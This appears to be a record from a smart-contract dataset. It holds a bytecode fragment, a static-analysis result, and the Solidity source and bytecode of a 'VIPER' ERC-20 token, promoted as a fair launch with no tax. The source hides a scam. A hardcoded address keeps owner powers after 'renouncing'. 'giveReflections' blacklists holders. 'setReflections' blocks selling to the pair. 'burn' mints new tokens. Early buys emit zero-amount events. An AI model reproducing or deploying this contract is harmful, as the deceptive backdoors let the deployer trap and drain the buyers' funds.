b61ffff16600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff16141580156106ea57508361ffff16600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff1614155b156106f457600080fd5b6000600781111561070157fe5b61ffff168461ffff161415156107f85783600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548161ffff021916908361ffff1602179055506107b4600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836112d6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108028383610eb0565b1561086e578273ffffffffffffffffffffffffffffffffffffffff167f048ac1999fc753642bb31a271c6ffa7b49c184b34434a7693cbeff8dbbf68d868584604051808361ffff1661ffff1681526020018281526020019250505060405180910390a260019050610873565b600090505b9392505050565b6040805190810160405280601581526020017f4261636b7061636b2054726176656c20546f6b656e000000000000000000000081525081565b60006108be33611300565b610907600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846114f1565b101561091257600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610ad5575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b675750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b65600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846112d6565b115b15610df857610bb5600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836112d6565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c41600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f1565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0a600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610dfd565b600090505b9392505050565b601281565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f425000000000000000000000000000000000000000000000000000000000000081525081565b600080610ebc33611300565b610f05600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856114f1565b1015610f1057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110158015610f625750600083115b156110b157610f7181846114f1565b905080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846112d6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191506110b6565b600091505b5092915050565b600080600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a457600080fd5b6111af4284116112c7565b6111ba8383116112c7565b60806040519081016040528085815260200184815260200183815260200182815250600760008761ffff1661ffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301559050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8015156112d357600080fd5b50565b60008082840190506112f68482101580156112f15750838210155b6112c7565b8091505092915050565b6000806000806000806113128761150a565b945061131d8761157e565b8061132c575060648561ffff16145b1561133a57600095506114e7565b6113ab6113a4600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008961ffff1661ffff168152602001908152602001600020600001546115e8565b606461161b565b93506000600760008761ffff1661ffff16815260200190815260200160002060030154141561140b57600760008661ffff1661ffff16815260200190815260200160002060020154421015611402578395506114e7565b600095506114e7565b600654600760008761ffff1661ffff168152602001908152602001600020600101540142101561143d578395506114e7565b61148e611486600760008861ffff1661ffff16815260200190815260200160002060020154600760008961ffff1661ffff168152602001908152602001600020600101546114f1565b60065461161b565b925061149a848461161b565b91506114cf6114c742600760008961ffff1661ffff168152602001908152602001600020600101546114f1565b60065461161b565b90506114e4846114df83856115e8565b6114f1565b95505b5050505050919050565b60006114ff838311156112c7565b818303905092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff16905060008161ffff1614151561157357809150611578565b606491505b50919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115de57600190506115e3565b600090505b919050565b6000808284029050611611600085148061160c575083858381151561160957fe5b04145b6112c7565b8091505092915050565b60008061162a600084116112c7565b828481151561163557fe5b049050611652838581151561164657fe5b068285020185146112c7565b80915050929150505600a165627a7a723058203ab848e6f56a9b2e35b704fb0d1db777bf60c718cffbb70248dad7f46e3207490029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,963 |
0xdd6008877ebbfa50989830e9b8e2728fc1e80fd9
|
/*
____ ____.__
\ \ / /|__|_____ ___________
\ Y / | \____ \_/ __ \_ __ \
\ / | | |_> > ___/| | \/
\___/ |__| __/ \___ >__|
|__| \/
VIPER is the offical token for the Venom Play to Earn game.
No pre-sale, No Tax, a true Fair Launch
Liquidity will be Locked via Team.finance
50% of supply burned prior to launch
Join the telegram or visit the site for more information
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Viper is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "VIPER";
string public _symbol= "VIPER";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x161604fc0Dce03a824Bfff75697080D406EbbA96);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b92505060